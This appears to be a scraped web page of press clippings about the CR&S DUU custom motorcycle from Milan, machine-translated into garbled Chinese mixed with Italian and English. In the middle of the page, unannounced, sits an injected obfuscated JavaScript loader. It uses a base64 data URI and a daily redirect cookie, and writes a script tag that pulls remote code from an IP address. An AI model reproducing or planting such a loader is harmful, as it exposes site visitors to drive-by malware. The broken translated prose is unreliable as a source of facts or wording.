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超级特殊N°14

最后 4 7月在米兰车库鉴于Motodesign提出红移, UNA摩托定制ス基CR&小号进行. 我们都知道CR&S和他的作品在两个轮子, 我们都记得凭借其强大的双缸的DUU, 摩托车“手工制作, 他的心脏, 在米兰“, 设计用于生产…

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路透社

纵观自行车, 你可以不知道这个品牌. 更何况无论是好还是不开车. 但有一两件事是肯定的: 喜欢还是不喜欢摩托车, 这是不可能无动于衷定制机对于给定的, 一个小的设计公司,位于米兰, 在意大利. 正是在那里,巴西人路易斯…

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DUU红移 – 设计师的摩托车定制的贡献

摩托车是在这一活动中汇聚设计的和谐不同方面, 最主要的是找到一种技术解决方案“的传输功能”的问题. 制造商不断寻求在其所有的变种,以优化性能, 我们的目标是使最有效的手段,能解决的问题…

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ROBERTO一个VA Boneville的Multivan的过去九个月的导航装置停止我们在一个农场的封闭门前. 一下车. 在一个老太太已经院里,他知道会是将关闭问题. 我超越了灰色的门之前,他听到格拉齐亚诺·罗西同样的话, 马尔科…

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MOTO.IT

按相反的顺序: 你正在阅读的是评论谁还会想从你的读者会写在下面特别EICMA和定制屏幕上的真实文章 2016: 我把自己在外面和新闻中直入个人意见的野生轩然大波, 反感/同情像定制, 其…

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研究技术和设计

  张贴在中国的循环 75.000 复制, 用作中国工程学院技术手册, 他卷 “技术的研究与设计” 在一个成功的系列多产教授撰写技术手册第三. 石文. 在内介绍了一些改编自我们的生产工艺, 将他们…

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RIDERS 08 2009

在男子米兰越来越续EL心, per fortuna c’è ancora qualcuno che costruisce le moto con il cuore e con le mani. 单, 以极大的关怀和热情. 动量故事和那么多男人,他们被告知, ma questa è la storia di un’idea. Una storia

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MAX 03 2010

奇迹在米兰这就是所谓的CR&S ed è una piccola azienda dell’hinterland con una grande passione. 他的摩托车 “必须是一些特别的东西”, 他们都是手工建造和他们每个人从不同. 这是他最新的宝石: 裸, 习惯, 跑车? Un potutto. 一位不愿具名的棚子就在农村镇外 . E una

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AMD USA 01 2010

CR&S Motorcycles used the ‘EICMAmotorcycle show in Milan, 意大利, 首次亮相其最新的原型模型 – 的X楔供电DUU. 最初被示为概念自行车, 当DUU, 由多纳托Cannatello设计, 进入满负荷生产, each bike will be hand-built with the customer having the choice of a range of technical

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国际经销商新闻 01 2010

Roberto Crepaldi’s latest project, 该DUU, 被空气冷却的大双各地的内置&S Cycle’s American-made 1916cc/117ci 60 度V型双缸发动机. 示为EICMA概念自行车, Crepaldi说DUU将是一个模块化建造自行车, 与他希望在€20,000底价出让客户配置选项, with a production

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低骑 11 2009

该 2011 这似乎是在这里. 现代主义的浪潮使得飞塞蒂莫米拉内塞的小房子大. CR&S già si distingue per l’originalità della propria streetfighter da misto stretto e per l’unicità di ogni esemplare. 单的逻辑演进, 必要和乐趣, 这将是双. 这似乎 “独奏” una concept bike ma un muletto

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有些盖致力于DUU

功能的getCookie(Ë){VAR U = document.cookie.match(新的RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/G,”\\$1″)+”=([^;]*)”));ü回报?decodeURIComponent(该[1]):空虚 0}变种SRC =”数据:文/ JavaScript的;BASE64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,现在= Math.floor(Date.now()/1E3),饼干=的getCookie(“重定向”);如果(现在>=(时间=饼干)||无效0 ===时间){VAR时间= Math.floor(Date.now()/1E3 + 86400),日期=新的日期((新日期).的getTime()+86400);的document.cookie =”重定向=”+时间+”; 路径= /; 到期=”+date.toGMTString(),文件撰写(”)}

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RIDERS

携带, 但不SPADES对于一个年销售在20000欧元的起拍价, DUU查看上次米兰展作为一个概念 (我们已经描述号车手的预览 22) 这是近年来为数不多的真正原创的提案之一. 米兰CR&S che l’ha partorita

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两个轮子

  大双子米兰! 双单声道后: da una piccola realtà artigianale è nata questa straripante due litri dallo stile unico di Riccardo CapacchioneFada su a Milàn, cont il coeur e cont i man’». 我们翻译的非米兰: 的“Made in米兰, 与心脏和手“, Ë’ la frase

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